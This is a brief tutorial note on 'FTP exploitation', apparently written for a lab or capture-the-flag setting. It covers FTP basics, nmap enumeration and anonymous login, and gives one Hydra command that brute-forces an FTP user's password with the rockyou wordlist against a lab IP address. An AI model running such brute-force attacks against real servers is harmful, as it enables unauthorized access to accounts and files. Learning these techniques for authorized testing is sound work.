# FTP Exploitation

@mmar

File Transfer Protocol (FTP) is, as the name suggests, a protocol used to allow the remote transfer of files over a network. FTP operates using a client-server protocol. The client initiates a connection with the server, the server validates whatever login credentials are provided and then opens the session.

While the session is open, the client may execute FTP commands on the server. FTP normally runs on Port 21

### **Enumeration**

We can use nmap to scan for the port 21 port and get information about it. An anonymous login may also be possible

## **Exploitation**

We can use Hydra to brute force the password of an FTP user

hydra -l mike -P /usr/share/wordlists/rockyou.txt –v 10.10.223.20 ftp"

# DEMO

# THANKS